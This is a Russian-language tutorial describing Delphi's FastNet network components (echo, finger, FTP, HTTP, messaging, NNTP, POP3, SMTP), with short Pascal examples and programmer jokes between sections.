Перед отправкой сообщения должно быть установлено соединение с сервером. Для этого нужно задать имя сервера или его адрес в свойстве Host, а в свойстве Port определить соответствующий порт [обычно серверы эхо слушают 7-ой порт]. После этого нужно вызвать метод Connect. Для отправки сообщения нужно использовать метод Echo. В случае успеха вы должны получить от сервера ту строку, которую вы передали в качестве параметра методу Echo. После этого для завершения связи вы должны вызвать метод Disconnect. Все методы, кроме Echo, компонент наследует.

Пример:

// Подключиться
NMEcho1.Host:=Edit1.Text;
NMEcho1.Connect;
// Отключиться
NMEcho1.Disconnect;
// Отправить
Memo1.Lines.Add(NMEcho1.Echo(Edit2.Text) + 'время [' +
FloatToStr(NMEcho1.ElapsedTime) + ']');
// Прекратить
NMEcho1.Abort;

Компонент TNMFinger.

Статьи по Delphi (017)…
Коннектится человек к серваку на 28800. Login: .... Passwrd: ****** А серв ему выдает: "Ваш пароль наполовину правильный. Connect 14400".

Данный компонент применяется для получения информации о пользователе от сервера Finger, используя протокол, описанный в стандарте RFC 1288.

Для того, чтобы получить информацию о пользователе, помещаемую в свойство FingerStr, вам нужно в свойстве Host указать имя сервера Finger. Обычно свойство Port не нужно определять, поскольку большинство рассматриваемых серверов используют 79-ый порт. И, конечно, вам нужно указать интересующее вас имя пользователя в свойстве User. Иногда эта служба используется для получения некоторой информации, например, о спорте, погоде. Обратившись по такому адресу, вы найдёте в свойстве FingerStr рассылаемую информацию.

Пример:

По нажатию на кнопку напишите такой код:

NMFinger1.User:=Edit2.Text;
NMFinger1.Host:=Edit1.Text;
Memo1.Text:=NMFinger1.FingerStr;

Ну вот, казалось бы и всё, но чтобы программа уведомляла вас о каждом событии нужно вынести StatusBar, в свойстве Panels создать 1 панель. И описать все события компонента TNMFinger примерно так:

procedure TForm1.NMFinger1Connect(Sender: TObject);
begin
  StatusBar1.Panels[0].Text:='Подключились';
end;
procedure TForm1.NMFinger1ConnectionFailed(Sender: TObject);
begin
  StatusBar1.Panels[0].Text:='Невозможно установить соединение';
end;
procedure TForm1.NMFinger1Disconnect(Sender: TObject);
begin
  StatusBar1.Panels[0].Text:='Отсоединились';
end;
procedure TForm1.NMFinger1HostResolved(Sender: TComponent);
begin
  StatusBar1.Panels[0].Text:='Host найден';
end;
procedure TForm1.NMFinger1InvalidHost(var Handled: Boolean);
begin
  StatusBar1.Panels[0].Text:='Host указан неверно';
end;
procedure TForm1.NMFinger1Status(Sender: TComponent; Status: string);
begin
  StatusBar1.Panels[0].Text:=Status;
end;

Компонент TNMFTP.

Сидит Дрим перед компом, занимается аутотренингом: - Я не войду в Интернет, я не войду в Интернет, я не войду в Интернет... Срывается, стучит что-то на клавиатуре. На дисплее появляется: "Delphi World". Дрим: - Это не я... Это не я...

Компонент TNMFTP предназначен для обмена файлами между сервером FTP и клиентской машиной по протоколу FTP. FTP является одной из старейших и заслуженных служб интернета.

Она существовала тогда, когда ещё не было WWW и предоставляла удобный по тем временам сервис для обмена файлами и организации различных архивов документов и программ. Сейчас получить доступ к серверу FTP можно непосредственно из браузера WWW, так что клиентские программы для работы с сервером FTP уже не так актуальны. Мы рассмотрим пример с этим компонентом, поскольку такая программа может потребоваться для работы с корпоративным FTP-сервером, где доступ разграничен и требуется пройти идентификацию для доступа к файловому архиву.

Перед использованием компонента TNMFTP для обмена файлами с удалённым компьютером вам нужно подключиться к серверу FTP. Для этого вы должны определить свойства Host и Port значениями, соответствующими нужному серверу FTP. Затем задайте в свойствах UserID и Password необходимые имя пользователя и пароль. Многие публичные серверы FTP принимают значение Anonymous в качестве имени пользователя и в качестве пароля ваш e-mail или строку, напоминающую e-mail, например, user@mycomputer.com, главное, чтобы в этой строке присутствовал символ собачки "@". Таких анонимных серверов в интернет довольно много и используются они как публичные архивы программ и документов. После определения свойств UserID и Password вызывайте метод Connect для установки связи с сервером.

Компонент TNMFTP имеет следующие основные свойства:

CurrentDir FTPDirectoryList OnListItem ParseList Password UserID Vendor

Специфических методов у этого компонента немного больше:

Allocate ChangeDir Delete DoCommand Download DownloadRestore List MakeDirectory Mode Nlist Reinitialize RemoveDir Rename Upload UploadAppend UploadRestore UploadUnique

Остальные свойства и методы этого компонента наследуются. Ниже мы разберём основные возможности этого компонента и разберём перечисленные свойства и методы.

Если метод компонента TNMFTP завершается успешно, то генерируется событие OnSuccess, в противном случае возникает событие OnFailture. В обоих случаях через параметр Trans_Type обработчиков этих событий передаётся имя команды типа TCmdType. Этот параметр может принимать следующие значения:

cmdChangeDir cmdMakeDir cmdDelete cmdRemoveDir cmdList cmdRename cmdUpRestore cmdDownRestore cmdDownload cmdUpload cmdAppend cmdReInit cmdAllocate cmdNlist cmdDoCommand cmdCurrentDir

Думаю, имя метода, к которому относится данное значение определить не трудно.

Определение содержимого каталога на удалённом компьютере:

Если вы уже подключены к серверу, вы можете получить список файлов файлов и каталогов текущего каталога при помощи метода List и обработчика события OnListItem, которое вызывается для каждого элемента списка. Вы можете обрабатывать каждый элемент каталога в обработчике этого события. или включить режим разбора строк элементов каталога, установив свойство ParseList в true. В последнем случае компонент разберёт полученные данные и поместит имена, размеры файлов атрибуты, время последнего изменения в составное свойство FTPDirectoryList. Каждый элемент этого свойства представляет собой объект типа TStringList. Для указанных элементов списка содержимого каталога эти объекты имеют имена Name[i], Size[i], ModifDate[i], Attribute[i]. Если метод List завершается успешно, то происходит событие OnSuccess, в противном случае генерируется событие OnFailure. Метод NList представляет собой сокращённый вариант команды List и используется для получения только имён файлов и каталогов.

Изменение текущего каталога на удалённом компьютере:

Вы можете перейти на другой каталог сервера FTP, вызывая метод ChangeDir с именем нужного вам каталога, которое передаётся через параметр DirName. В DirName можно указывать полный путь или имя каталога относительно текущего каталога.

Загрузка файлов на удалённый компьютер:

Для загрузки файлов в текущий каталог на удалённом компьютере используем метод Upload. Метод использует 2 параметра: имя файла на локальном компьютере и имя, под которым он будет сохраняться на удалённом [LocalFile, RemoteFile]. Нужно заметить, что для выполнения данной операции у вас должны быть соответствующие права на удалённом компьютере. Обычно серверы FTP предоставляют такие права в каталоге incoming. В том случае, если на сервере уже есть файл с тем же именем, с которым вы хотите создать новый, - этот файл будет перезаписан. Избежать этого эффекта можно, если использовать метод UploadUnique. Единственный параметр LocalFile этого метода определяет имя файла на локальном компьютере и использует его для создаваемого файла на сервере. Если на сервере файл с таким именем уже существует, то передаваемый файл будет создан с уникальным именем. Метод UploadRestore хорош тем, что он позволяет восстановить прерванный в предыдущем сеансе процесс загрузки файла с места, в котором произошёл обрыв. Последний метод из этой серии UploadAppend позволяет дописывать содержимое локального файла в конец файла на сервере, если файл существует. Если на сервере такого файла нет, то файл создаётся заново. Два последних метода имеют 2 параметра LocalFile и RemoteFile.

Загрузка файлов с удалённого компьютера:

Перед загрузкой файлов с удалённого компьютера имеет смысл вызвать метод List и убедиться, что нужный вам файл имеется на удалённом компьютере. После этого можно вызвать метод по имени Download передав ему в качестве параметров имя загружаемого файла и имя файла и каталога на локальном компьютере: параметры RemoteFile и LocalFile. Нужно заметить, что загружать файлы из любого каталога FTP-сервера обычно не разрешается. Вы можете сделать это только из каталогов, открытых для этой операции. Если на вашем компьютере уже имеется файл с таким именем он будет перезаписан. На случай обрыва связи можно использовать метод DownloadRestore, который позволит продолжить загрузку с того места, на котором произошёл обрыв связи.

Создание каталога на удалённом компьютере:

Для выполнения этой операции у вас должны быть соответствующие права. Обычно на FTP-серверах эти права выделяются на каталог incoming. Для создания каталога достаточно вызвать метод MakeDirectory, передав ему в качестве параметра имя того каталога, который вы хотите создать.

Удаление файла или каталога на удалённом компьютере:

Файл удаляется методом Delete, а для удаления каталога применяется метод RemoveDir. Можно задавать имя файла или каталога внутри текущего каталога или указывать полный путь и имя удаляемого объекта.

Мы не упомянули ещё методы Allocate, DoCommand, Mode, Reinitialize и Rename. Первый метод выделяет место на FTP сервере под создаваемый файл. Как правило, этого делать не требуется, но если вам придётся работать с таким сервером, который требует выделения дисковой памяти перед закачкой на него файла, то этот метод может понадобится.

Метод DoCommand позволяет посылать команду FTP-серверу, который должен её выполнить. Имеется в виду команда операционной системы. Этот метод может вам понадобиться, если для выполнения вашей задачи методов компонента TNMFTP окажется недостаточно, либо если вам попадётся сервер с нестандартными командами.

Метод Rename используется для переименования файла в текущем каталоге на удалённой системе. Первый параметр FileName задаёт имя файла, который нужно переименовать, второй - FileName2 - новое имя для заданного файла.

Метод Mode задаёт режим приёма/передачи файлов. Используются 3 режима. Соответственно параметр TheMode может принимать соответствующие значения:

MODE_ASCII - передача текстовых данных MODE_IMAGE - двоичные данные с 8-битовыми байтами MODE_BYTE - двоичные данные с байтами переменной длины

Метод Reinitialize используется для восстановления прерванного соединения. После этого метода требуется зарегистрироваться, ввести имя пользователя и пароль.

Компонент TNMGeneralServer.

Новая сказака про трёх медведей. Мишутка, глядя на нулевой баланс на счету у провайдера: - Кто юзал мой аккаунт и весь его выюзал?!!!

Компонент TNMGENERALSERVER предлагается как базовый класс для создания на его основе многопотоковых серверов Интернет, специфических корпоративных серверов или других серверов, работающих со стандартами RFC.

Создавая классы-потомки компонента TNMGENERALSERVER и переписывая метод Serve, вы можете создавать специфические серверы, обрабатывающие запросы клиентов нужным вам образом. Обмен данными с клиентом должен выполняться методами read/write или ReadLn/WriteLn, унаследованными от TPowerSock.

Метод Serve является виртуальным методом, который должен переопределяться в классах-потомках. Метод Serve вызывается всякий раз, когда клиент подключается к серверу. Метод Serve исполняется в отдельном потоке, поэтому использовать объекты VCL и другие методы внутри него нельзя.

Компонент TNMHTTP.

Страшный ICQ вирус. ВНИМАНИЕ! Вы только что получили САМЫЙ ПЕРВЫЙ!!!! САМЫЙ КРУТОЙ!!!! и САМЫЙ СТРАШНЫЙ!!!! ICQ-вирус!!! Я ужасно полиморфный, заразный и деструктивный, НО есть небольшая проблемка: 1. Мой автор вообще вирусы писать не умеет... 2. Не вирусы он тоже не умеет писать, у него по бэйсику тройка с натягом.. 3. Умные дяди говорят моему автору, что ICQ-вирус вообще невозможен... 4. Но ему 16 лет, у него переходный возраст и потому плевал он на умных дядей! Поэтому ОЧЕНЬ Вас прошу сделать следующее: 1) Разослать меня кому только можно; 2) Стереть на своем компьютере папки WINDOWS и Мои Документы. Заранее спасибо! Искренне Ваш - СТРАШНЫЙ ICQ-вирус!

Компонент TNMHTTP используется для передачи гипертекста через WWW или интранет по протоколу HTTP. Компонент поддерживает версию протокола HTTP1.1.

Вы можете использовать соответствующие методы для работы с документами. Компонент имеет 7 методов: Get, Head, Options, Trace, Put, Post, Delete.

Метод Get применятся для получения гипертекстовых документов с серверов World Wide Web. Запрашиваемый документ указывается в параметре URL. Дальнейшая судьба документа зависит от значения InputFileMode типа Boolean. Если свойству присвоено значение true, то заголовок документа и его тело помещаются в текстовый документ и HTTP файлы соответственно. Имена файлов для этого случая определяются свойствах Header и Body. Если свойство InputFileMode выставлено в false, то заголовок и тело документа размещаются непосредственно в свойствах Header и Body.

Метод Head аналогичен методу Get, но с его помощью можно загрузить только заголовок документа. Заголовок тем же образом может помещаться либо в файл, либо в свойство Header.

Методы Post и Put выполняют обратную задачу - публикацию документов в WWW. Метод Post позволяет дописать данные в соответствующий документ на сервере. Метод Put создаёт новый документ на сервере. Эти методы имеют 2 параметра. Первый из них - это параметр с именем URL, в котором указывается имя документа на WEB-сервере. Второй параметр типа string по имени PostData у метода Post и PutData у метода Put используется для задания публикуемых данных. Данные передаются непосредственно через этот строковый параметр, если свойство OutputFileMode имеет значение false. Если этому свойству присвоить значение true, тогда во втором параметре указываются путь и имя файла, в котором размещаются данные для публикации. Нужно заметить, что для того чтобы опубликовать данные на сервере WEB, у вас должны быть соответствующие права. Как и права на удаление файла если вы используете метод Delete, с помощью которого можно удалять документы на удалённом сервере.

Метод Abort прерывает выполнения транзакции.

Оставшиеся 2 метода предоставляют дополнительные возможности. Метод Trace применяется при отладке. Метод использует указанный а первом параметре ресурс для отображения отладочных данных, передаваемых во втором параметре TraceData. Данные передаются через этот параметр уже известным способом в зависимости от значения свойства OutputFileMode.

И последний метод - метод Options позволяет получить справочную информацию о запрашиваемом ресурсе и командах [методах], разрешённых на данном сервере. Выполнить все методы на большинстве серверов вам не удастся. Обычно вам разрешают использовать метода Get, Head, Options, Trace.

Компонент имеет свойства Port и Host, которые здесь излишни, поскольку эта информация задаётся через параметр URL методов этого компонента. Свойствам InputFileMode и OutputFileMode присваивается по умолчанию значение false. В составном свойстве HeaderInfo имеются свойства UserID и Password, необходимые в том случае, если вам нужно публиковать данные на WEB-сервере. Понятно, что в этом случае вам потребуются соответствующие права доступа, и, значит, регистрация на сервере под некоторым именем, после ввода которого придётся указать и пароль. Ещё вам могут понадобиться свойства BytesRecvd, BytesSent и BytesTotal, которые указывают число принятых байтов, отправленных данных и общее число передаваемых байтов.

Компоненты TNMMsg и TNMMsgSer.

Статьи по Delphi (017)…

Эти компоненты обмениваются простыми текстовыми сообщениями в кодах ASCII по Интернет или Интранет с использованием протокола TCP/IP. Вы можете использовать их для создания чата или или для программы переговоров в локальной сети.

На компьютере, куда будут посылаться сообщения, должен быть запущен TNMMsgServ. Для того, чтобы компонент TNMMsg смог отправить сообщение, вам нужно в свойстве Host указать удалённый компьютер, на котором находится серверная часть приложения. Это может быть имя или IP-адрес. Кроме этого значение свойства Port компонента TNMMsg должно соответствовать значению этого же свойства компонента TNMMsgServ. Стандартный порт, который слушает этот компонент, имеет номер 6711. В свойстве FromName укажите имя своего компьютера, чтобы получатель мог знать от кого получено сообщение. После определения этих свойств, вы можете отправить сообщение, вызвав метод PostIt. Если метод выполняется успешно генерируется событие OnMessageSent. У этого компонента только 1 свой метод - остальные наследуются. Свойство FromName - тоже единственное своё.

Компонент TNMMsgServ предназначен для получения сообщений, отправленных компонентом TNMMsg. У него нет своих свойств и методов, только унаследованные. Главное событие серверного компонента - OnMsg. возникает оно при получении сообщения, текст которого передаётся обработчику события через параметр sMsg. Другой параметр этого обработчика sFrom содержит имя отправителя.

Пример:

По нажатию на кнопку напишите следующий код:

NMMsg1.FromName:=Edit2.Text;
NMMsg1.Host:=Edit3.Text;
NMMsg1.PostIt(Edit1.Text);

Для компонента TNMMsgServ событие OnMsg опишите так:

Memo1.Lines.Add('Получено сообщение от '+sFrom);
Memo2.Lines.Add('['+sFrom+'] '+sMsg);

Здесь Memo1 используется для ведения протокола, а в Memo2 будут отображаться сообщения в формате "[отправитель] сообщение".

Для компонента TNMMsg опишите событие OnMessageSent:

Memo1.Lines.Add('Отправлено сообщение от '+DateTimeToStr(Now));

В этом обработчике будет отслеживаться дата и время отправления сообщения.

Компонент TNMNNTP.

Программер читает по аське: "Юзер покинул этот мир, т.к. у него закончились деньги, и провайдер закрыл счет.

Компонент TNMNNTP используется для чтения и публикации сообщений в телеконференциях Интернет [NetNews, NewGroups] в соответствии с протоколом NNTP [Network News Transfer Protocol]. Протолок описан в стандарте RFC 977.

Наряду с электронной почтой и серверами FTP телеконференции являются классическим сервисов Интернет. Ветераны Интернет продолжают пользоваться им весьма активно, но новые пользователи, в ввиду засилья WWW, знают этот сервис плохо, хотя работу с новостями поддерживают не только специальные программы, но и Microsoft Outlook Express и Netscape Navigator. Телеконференции имеют иерархическую структуру. Название конференции состоит из нескольких слов, разделённых точками. Чтобы получить доступ к этому сервису, вам нужно подключиться к одному из серверов новостей. Обычно поставщики услуг Интернет наряду с электронной почтой предоставляют доступ к своему серверу новостей. Если у вашего провайдера нет своего сервера, то вам придётся найти его с помощь поисковых систем Интернет. В отличии WWW, для доступа к которой не требуется использование какого-то специфического сервера, с электронными новостями нужно работать именно так- через сервер. Подключившись к серверу, вы должны сначала загрузить полный список конференций, который он поддерживает. Сервер, к которому вы подключитесь, возможно, будет иметь не полный список, а какой-то ограниченный набор телеконференций Интернет. После этого вам нужно подписаться на какое-то количество конференций и загрузить из них заголовки сообщений. Ваша подписка будет сохраняться на все последующие сеансы связи, пока вы не откажитесь от неё. Размещение сообщений в конференции часто называется публикацией [posting], а само сообщение называется словом статья [article].

Итак, прежде чем начинать работу с сервером новостей, вам нужно подключиться к одному из серверов. Это можно сделать, задав нужное имя сервера новостей в свойстве Host и вызвав метод Connect, который подключит вас к выбранному серверу. После этого вам нужно получить список групп новостей этого сервера. Для этой цели вызывается метод GetGroupList, который помещает полученный список в свойство GroupList. После этого нужно выбрать одну из групп новостей, в которой вы будете просматривать сообщения. Для этого вызывается метод SetGroup, которому к качестве параметра передаётся имя выбранной вами группы новостей. Чтение статей в выбранной группе новостей осуществляется при помощи метода GetArticle. Но перед этим нужно загрузить список сообщений из группы методом GetArticleList. После этого для каждой интересующей вас статьи нужно вызывать метод GetArticle, который будет помещать в свойство Body текст статьи, а в свойство Header - заголовок выбранной статьи.

Для того, чтобы отправить статью в группу новостей сначала нужно заполнить свойство PostBody текстом сообщения, в свойстве PostHeader разместить заголовок сообщения, а после этого вызвать метод PostArticle.

После обсуждения порядка работы с компонентом поговорим о его свойствах, методах и событиях. Основными свойствами являются следующие свойства:

GroupList SelectedGroup Body Header CurrentArticle HiMessage LoMessage PostBody PostHeader

В свойстве GroupList типа TStringList размещается список групп новостей выбранного сервера. Свойство заполняется в случае успешного вызова метода GetGroupList. После успешного вызова метода SetGroup в свойство SelectedGroup помещается имя выбранной группы. Метод GetArticleList имеет 2 параметра All типа boolean и ArticleNumber - целого типа. Если первый параметр выставляется в true, то считываются все статьи группы, в противном случае второй параметр задаёт номер сообщения с которого нужно начать загрузку. При загрузки очередной статьи происходит событие OnHeaderList. В свойство CurrentArticle помещается номер текущей статьи. Это свойство получает значение после вызова одного из методов GetArticle, GetArticleBody или GetArticleHeader. Можно сказать, что в это свойство помещается номер той статьи, текст и заголовок которой находятся в свойствах Body и Header. В свойствах HiMessage и LoMessage прописываются максимальный и минимальный номера сообщений, доступных в выбранной группе. В свойства PostBody и PostHeader помещают тело и заголовок отправляемого в группу сообщения. Возможность или невозможность публикации сообщения в выбранной группе определяется значением свойства Posting. типа boolean. Среди свойств компонента имеются составные свойства HeaderRecord и PostHeader, куда записываются тема сообщения электронный адрес отправителя и электронный адрес для ответа, имя группы или групп, в которых опубликовано данное сообщение, время и дата публикации и другие данные. В первом свойстве размещаются данные полученного сообщения, а во втором - отправляемого. В технологии электронных новостей, как и в электронной почте, применяется присоединение или вложение в сообщение одного или нескольких файлов. Свойства AttachFilePath, Attachments, PostAttachments и ParseAttachments служат для работы с вложенными файлами. Значение логического свойства ParseAttachments, равное true, задаёт режим разбора вложенных файлов, при котором файлы будут декодироваться. После этого они будут размещаться с имена, под которыми они перечислены в свойстве Attachments, в каталоге, заданном в свойстве AttachFilePath. Если в ParseAttachments записано false, то файлы просто остаются в теле сообщения. Если вы присоединяете к отправляемому сообщению некоторое количество файлов, то их имена перечисляются в свойстве PostAttachments. В случае если требуется регистрация пользователя на сервере новостей, в свойства UserID и Password помещаются имя пользователя и пароль.

Компонент TNMPOP3.

Хакер трахается и думает: "Вот это и называется прямым кабельным соединением на высокой скорости!"

Компонент TNMPOP3 применяется для получения электронных писем от POP3-сервера.

Вам может потребоваться этот компонент при написании программы для некоего корпоративного приложения, использующего свои, внутренние почтовые сервисы. Или вы можете написать программу под свои собственные нужды, которая собирала бы почту с нескольких почтовых серверов, сразу бы сортировала её и отбрасывала ненужный хлам и д.т.

Перед тем как получить электронную почту с помощью компонента TNMPOP3, вам нужно установить соединение с сервером POP3, на котором находится ваш почтовый ящик. Для этого нужно задать значение для свойства Host, в котором нужно указать имя почтового сервера или его IP-адрес. Вы должны задать так же имя пользователя и пароль в свойствах UserID и Password соответственно, открывающие вам доступ к вашему почтовому ящику. После этого вам нужно вызвать метод Connect, который и установит соединение.

Чтобы получить почту вам нужно вызвать метод GetMailMessage. Полученное сообщение будет попадать в свойство MailMessage.

Это был краткий обзор компонента. Сейчас мы обсудим детали по мере ознакомления со свойствами, методами и событиями этого компонента.

В свойстве MailCount этого компонента указывается число сообщений, находящихся в почтовом ящике пользователя на сервере. Это свойство получает значение после установки соединения с сервером. Свойству MailMessage присваивается значение после вызова метода GetMailMessage. В нём находятся все элементы полученного электронного сообщения. Эти элементы включают в себя свойства Attachments, Body, From, Head, MessageID и Subject. В первом помещаются имена вложенных файлов, во втором - текст сообщения, в третьем - адрес отправителя, в четвёртом - заголовок письма. В свойстве MessageID размещается уникальный идентификатор письма, а в свойстве Subject - тема письма.

Свойство Summary содержит краткую информацию об электронном сообщении. Это свойство изменяется после вызова метода GetSummary. В состав этого сложного свойства входят свойства: Bytes, From, Header, MessageID, Subject. Свойства этого составного свойства повторяют свойства из MailMessage, но в отличии от свойства MailMessage здесь не хватает свойств Attachments и Body и добавлено новое свойство Bytes - размер сообщения. Содержимое свойств MailMessage и Summary изменяется после каждого вызова метода GetMailMessage или GetSummary соответственно. Поэтому, если вы считываете несколько писем не забывайте обрабатывать полученные сообщения и только после этого переходите к следующему вызову метода GetMailMessage или GetSummary. В свойстве AttachFilePath вы можете задать каталог для размещения присоединённых к сообщению файлов. Если этого не сделать, то по умолчанию эти файлы будут сохраняться в том же каталоге, из которого запускалось приложение. Если каталог, указанный в свойстве AttachFilePath не существует, то присоединённые файлы будут сохраняться в текущем каталоге. Добавлять в конце пути символ "слэш" необязательно, если его не указали, то добавится автоматически. В зависимости от значения свойства DeleteOnRead прочитанные сообщения могут удалятся или оставаться в почтовом ящике на сервере. Сообщения удаляются после выполнения метода GetMailMessage, если свойство DeleteOnRead установлено в true. Если значение DeleteOnRead равно false, тогда сообщения остаются на сервере. По умолчанию сообщения не удаляются. Удаление сообщений происходит после завершения сеанса работы с сервером. Метод Reset позволяет снять метку на удаление, поэтому, пока сессия не окончена все удалённые методами DeleteOnRead и DeleteMailMessage сообщения можно "вернуть".

Для регистрации на сервере вам нужно задать значения свойствам UserID и Password. В свойстве Password указывается пароль, используемый для получения доступа к почтовому серверу. Если указан неверный пароль или имя пользователя, то в этом случае будет вызвано событие OnAuthenticationFailed, если пароль или имя пользователя не указаны вызывается событие OnAuthenticationNeeded.

Теперь обсудим методы этого компонента. Метод UniqueID возвращает идентификатор сообщения, указанного в параметре метода по номеру. Идентификатор представляет собой строковое уникальное значение, присваиваемое каждому письму почтовым сервером. Это значение помещается в свойство MessageID, являющееся частью составного свойства Summary типа TSummary. Параметр MailNumber изменяется от 1 до максимального значения, определяемого свойством MailCount.

Метод DeleteMailMessage удаляет указанное по номеру сообщение из почтового ящика на почтовом сервере. В случае возникновения ошибки возникает событие OnFailture и возбуждается исключительная ситуация. Если сообщение успешно помечается как удалённое, то происходит событие OnSuccess. Удалённое этим методом сообщение только помечаются как удалённые, реально они удаляются тогда, когда вы заканчиваете работу с почтовым сервером. А пока вы этого не сделали вы можете вызвать метод Reset, и все "удалённые" в данном сеансе связи сообщения опять станут доступными. Метод GetMailMessage извлекает указанное по своему номеру сообщение и помещает его в свойство MailMessage. Если при выполнении метода возникает ошибка, то возбуждается исключительная ситуация. Когда начинается процесс загрузки сообщения, наступает событие OnRetrieveStart. По окончании загрузки генерируется событие OnRetrieveEnd. Если сообщение благополучно получено происходит событие OnSuccess. Если свойство DeleteOnRead установлено в true, то метод GetMailMessage, кроме того, пометит на сервере полученное сообщение на удаление.

Метод GetSummary извлекает краткую информацию о письме и сохраняет её в свойстве Summary. Метод List получает список номеров и размеры сообщений. Для каждого сообщения в списке генерируется событие OnList, которому через параметры передаются номер сообщения и размер сообщения.

Нам осталось рассмотреть события данного компонента. Событие OnAuthenticationFailed происходит в случае, когда для работы с почтовым сервером требуется идентификация, в одном из свойств UserID или Password значение введено неверно. Если свойству Handled присвоить значение true, то попытка регистрации повторяется. Если в свойстве Handled прописано false [что является значением по умолчанию], то возбуждается исключительная ситуация, и соединение обрывается.

Событие OnDecodeStart возникает тогда, когда необходимо декодировать и запись на диск присоединённый к письму файл. В обработчике этого события имеется параметр FileName, определяющий имя присоединённого файла. Это имя можно изменить, если вы хотите сохранить файл под другим именем. Если в письме нет вложенных файлов, о событие не наступает. Добавлять путь к имени файла не следует, п.ч. путь указывается в свойстве AttachFilePath.

Событие OnList происходит в процессе работы метода List после получения номера и размера текущего сообщения в списке. Событие OnReset генерируется в случае успешного выполнения метода Reset и означает это тот факт, что со всех сообщений, помеченных в текущем сеансе на удаление, снята метка на удаление.

Событие OnRetrieveEnd происходит тогда, когда завершается загрузка письма или его резюме. Событие OnRetrieveStart генерируется когда начинается процесс загрузки сообщения. Эти события заменяют свои предыдущие версии, названные ошибочно OnRetriveEnd и OnRetriveStart. Эти предыдущие версии, тем не менее, доступны как Public, так что приложения, использующие их, будут работать.

Компонент TNMSMTP.

Приходят в кунсткамеру Чайник, Квакер и програмёр. Видят: банка с заспиртованным двухголовым малышом. Чайник: - Прогрмма совершила недопустимую ошибку... Квакер: - Это просто монстр из квака, из которого полигоны вылезли! Програмёр: - Видать ошибка в коде. Тут видят, знакомый интернетчик идет. Спрашивают его: "чё это мол такое?". Интернетчик посмотрел-посмотрел, и говорит: - Ааа! Так это два жлоба одновременно и под одним логином подсоединились!

Компонент TNMSMTP позволяет отправлять электронную почту через почтовый сервер Интернет или выполнить некоторые другие команды, описанные в стандарте RFC 821.

Этот компонент использует для отправки почты стандартный протокол SMTP [Simple Mail Transfer Protocol - простой протокол отправки почты]. Порт по умолчанию, используемый этим протоколом, - 25. Регистрация на многих SMTP-серверах при регистрации не требуется, соответственно вводить имя пользователя при работе с какими-то серверами не требуется. Для работы с компонентом необходимо установить соединение с сервером. Для этого нужно задать значение свойствам Host и Port и вызвать метод Connect. По окончании работы с сервером вызывается метод Disconnect, который завершает установленное ранее соединение.

Главное свойство этого компонента PostMessage. Именно в нём размещается вся информация отправляемого сообщения. Это свойство имеет много полей, но обязательными для заполнения являются только два поля: адрес получателя ToAddress типа TStringList и адрес отправителя FromAddress типа String. В поле получателя можно записать несколько адресов получателя. Сам текст письма помещается в свойство Body типа TStringList. В строковые поля Subject, FromName, Organization записываются тема письма, имя отправителя и название организации. Поле Attachments типа TStringList используется для указания списка вложенных файлов. Для отправки письма применяется метод SendMail. Перед этим нужно установить соединение, т.е. вызвать метод Connect.

Дополнительно к основной задачи отправки почты компонент имеет два метода, с помощью которых вы можете проверить существование на сервере пользователя с указанным именем и получить от сервера список адресов листа рассылки. Первый метод - метод Verify. Под именем пользователя понимается электронный адрес. Некоторым серверам достаточно указать только начальную часть адреса - до символа "@", для других нужно указать полный адрес. Если указанный адрес существует, функция Verify возвратит true, если не существует - false. Имя второго метода - ExpandList. После вызова этого метода генерируется событие OnMailListReturn, в обработчике которого вы можете обнаружить полученный список адресов.

Теперь рассмотрим свойства компонента. В свойстве ClearParams задаётся задаётся режим очистки или сохранения значений в свойстве PostMessage после того, как сообщение отправлено. Если свойству присвоено значение true, то после вызова метода SendMail поля свойства PostMessage очищаются. Если в свойстве ClearParams задано false, то значения, записанные в свойстве PostMessage, сохраняются. Значение по умолчанию - true. Свойство EncodeType определяет тип кодирования присоединяемых к письму файлов. Возможен выбор только из двух значений: uuMime если применяется метод MIME, и uuCode, которому соответствует метод UUEncode. По умолчанию используется метод MIME. В свойстве FinalHeader размещается окончательный вариант заголовка для приготовленного в отправке письма. Это свойство можно посмотреть или изменить с помощью события OnSentStart. В свойстве PostMessage записываются все необходимые элементы письма: адрес получателя[ToAddress] и отправителя[FromAddress], тема письма[Subject], присоединяемые файлы[Attachments], текст сообщения[Body], дата отправки сообщения[Date], имя отправителя[FromName], программа, отправляющая письмо[LacalProgram], адрес для ответа на отправляемое письмо[ReplyTo], адрес для копии[ToCarbonCopy] и для скрытой копии[ToBlindCarbonCopy].

В свойстве SubType определяется тип отсылаемого электронного сообщения. Например, если вы укажите в свойстве SubType значение mtHTML, то программа просмотра писем у получателя знать, что получила документ HTML , и будет пытаться адекватно работать с документом - не выводить теги HTML на экран как текст, а работать с ними как с управляющими последовательностями. Значение по умолчанию mtPlain. Свойство может принимать одно из следующих значений:

mtPlain - текст ASCII mtEnriched - текст в формате RTF mtSGML - документ в стандарте SGML mtTagSeperated - текст с символами табуляции в качестве разделитетей mtHTML - документ HTML

В свойстве UserID задаётся имя пользователя для регистрации на сервере SMTP. Не все серверы проверяют UserID, но многие делают это. Если ваш сервер проверяет имя отправителя, а вы его не указали, то тогда будет генерироваться событие OnAuthenticationFailed.

Теперь перейдём к рассмотрению методов компонента

Метод ExpandList используется, когда нужно получить содержимое списка адресов на сервере SMTP. В параметре MailList задаётся имя интересующего вас списка. Когда сервер SMTP возвращает требуемый список, происходит событие OnMailListReturn.

Метод ExtractAddress выделяет адрес электронной почты из строки текста. Обычно этот метод используется для внутреннего употребления, хотя он имеет доступ Public и, соответственно, доступен всем. Строка передаётся через параметр, а выделенный адрес возвращается методом. Для выполнения метода ExtractAddress соединение с сервером SMTP не требуется.

Метод Verify используется для проверки существования пользователя на сервере SMTP.

Метод ClearParameters удаляет содержимое свойства PostMessage. При этом очищаются все поля за исключением Body. Для удаления самого сообщения необходимо вызвать метод PostMessage.Body.Clear. Если свойство ClearParams имеет значение true, то после каждого выполнения метода SendMail автоматически вызывается метод ClearParameters.

Метод SendMail выполняет отправку электронного письма, заданного в полях свойства PostMessage. После успешной отправки сообщения генерируется событие OnSuccess. Если при передачи сообщения на сервер произошла ошибка, происходит событие OnFailtureEvent.

Последними, как всегда, рассмотрим события компонента. Событие OnAttachmentNotFound генерируется, если не находится файл, который должен быть присоединён к отправляемому письму. Событие имеет параметр TFileItem, в котором указано имя отсутствующего файла. Событие OnEncodeEnd генерируется, когда присоединяемый к письму файл закодирован и приготовлен к отправке. Имя закодированного файла опять же передаётся через параметр TFileItem. Событие OnEncodeStart происходит перед началом кодирования присоединяемого к письму файла.

